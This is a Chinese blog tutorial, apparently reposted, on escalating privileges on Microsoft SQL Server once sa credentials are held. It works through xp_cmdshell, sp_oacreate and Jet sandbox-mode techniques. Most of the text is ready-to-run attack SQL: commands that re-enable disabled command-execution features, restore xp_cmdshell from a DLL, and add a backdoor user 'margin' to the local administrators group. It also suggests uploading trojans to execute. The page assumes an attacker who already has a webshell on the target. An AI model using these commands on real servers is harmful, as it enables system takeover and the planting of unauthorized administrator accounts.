本文共 5096 字,大约阅读时间需要 16 分钟。
一、简介
在利用系统溢出漏洞没有效果的情况下,可以采用数据库进行提权。
数据库提权的前提条件:
1、服务器开启数据库服务
2、获取到最高权限用户密码 (除Access数据库外,其他数据库基本都存在数据库提权的可能)二、使用xp_cmdshell进行提权
假设条件:
1、已得到 sql server 的sa权限 2、sql server开启外联本次搭建环境,数据库密码存放文件在,可以通过webshell读取网站配置文件或者数据库文件(sql server的数据库文件存储格式是mdf)
2.1 提权过程
使用sql server的客户端连接数据库
sql sever有一个自带的系统数据库master,而xp_cmdshell在 存储过程、扩展存储过程中
查看扩展存储过程,如果其中含有 sys.xp_cmdshell 说明目标网站没有删除该组件,只是默认把该组件禁止,如果没有看到该组件说明已删除xp_cmdshell,那么可以上传dll文件进行删除,其中dll文件要根据sql server 数据库版本进行选择 选择数据库后,再进行新建查询 执行命令后,报错提示 xp_cmdshell 被关闭EXEC master.dbo.xp_cmdshell 'whoami' 1那么就使用开启 xp_cmdshell 的命令(只有sa权限才可以开启)
EXEC sp_configure 'show advanced options', 1RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 1 2 3 4开启 xp_cmdshell 之后,再次执行
EXEC master.dbo.xp_cmdshell 'whoami'
命令,成功提权到system权限。 简单总结:
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。
启用:
EXEC sp_configure ‘show advanced options’, 1 RECONFIGURE; EXEC sp_configure ‘xp_cmdshell’, 1; RECONFIGURE;关闭:
exec sp_configure ‘show advanced options’, 1; reconfigure; exec sp_configure ‘xp_cmdshell’, 0; reconfigure;执行:
EXEC master.dbo.xp_cmdshell ‘命令’如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc ‘xp_cmdshell’, ‘C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll’- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
三、使用sp_oacreate进行提权
执行命令后,报错提示 sp_oacreate组件 被关闭
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
- 1
- 2
(调用cmd.exe执行命令,如果cmd.exe无法调用或者被删除的话,可以自己上传一个cmd.exe进行调用。除了cmd.exe也可以上传一些木马程序进行执行)
那么就使用开启 xp_cmdshell 的命令(只有sa权限才可以开启)EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE;
- 1
- 2
- 3
- 4
- 5
简单总结
启用:EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE;
关闭:
EXEC sp_configure ‘show advanced options’, 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure ‘Ole Automation Procedures’, 0; RECONFIGURE WITH OVERRIDE;执行:
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,‘run’,null,‘c:\windows\system32\cmd.exe /c whoami >c:\1.txt’以上是使用sp_oacreate的提权语句,主要是用来调用OLE对象(Object Linking and Embedding的缩写,VB中的OLE对象),利用OLE对象的run方法执行系统命令。
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
四、使用SQL Server 沙盒提权
什么是沙盒?
沙盒(英语:sandbox,又译为沙箱),计算机专业术语,在计算机安全领域中是一种安全机制,为运行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。
提权操作
执行添加管理员的命令后,报错如下图所示:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")') 1那么输入以下命令,启用Ad Hoc Distributed Queries:
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure; 1 2
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode' 1执行添加一个管理员 margin 命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")') 1net user 查看,发现margin用户成功添加 将margin用户提升到超级管理员权限
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")') 1net localgroup administrators 查看超级管理员组账户有margin
简单总结
--提权语句
exec sp_configure ‘show advanced options’,1;reconfigure;
– 不开启的话在执行xp_regwrite会提示让我们开启,
exec sp_configure ‘Ad Hoc Distributed Queries’,1;reconfigure;
–关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’,‘SandBoxMode’,‘REG_DWORD’,0;
–查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’, ‘SandBoxMode’
–执行系统命令select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,‘select shell(“net user margin margin /add”)’)
select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,‘select shell(“net localgroup administrators margin /add”)’)
沙盒模式SandBoxMode参数含义(默认是2)
<span class="token number">0</span>
:在任何所有者中禁止启用安全模式
<span class="token number">1</span>
:为仅在允许范围内
<span class="token number">2</span>
:必须在access模式下
<span class="token number">3</span>
:完全开启
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。
–恢复配置
–exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’,‘SandBoxMode’,‘REG_DWORD’,1;
–exec sp_configure ‘Ad Hoc Distributed Queries’,0;reconfigure;
–exec sp_configure ‘show advanced options’,0;reconfigure;
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
参考链接:https://blog.51cto.com/11797152/2411770
注意:这三种提权方式,sql server 2008及以前版本都适用,2012的版本应该可以适用,2016版本比较复杂,没测试过。 目前最多的还是 2008 与 2012 版本 较多
更多资源:
1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、 3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频 4、应急响应真实案例复现靶场与应急响应教程收集整理在知识星球,可加入知识星球进行查看。
转载地址:https://blog.csdn.net/qq_45290991/article/details/117453354 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!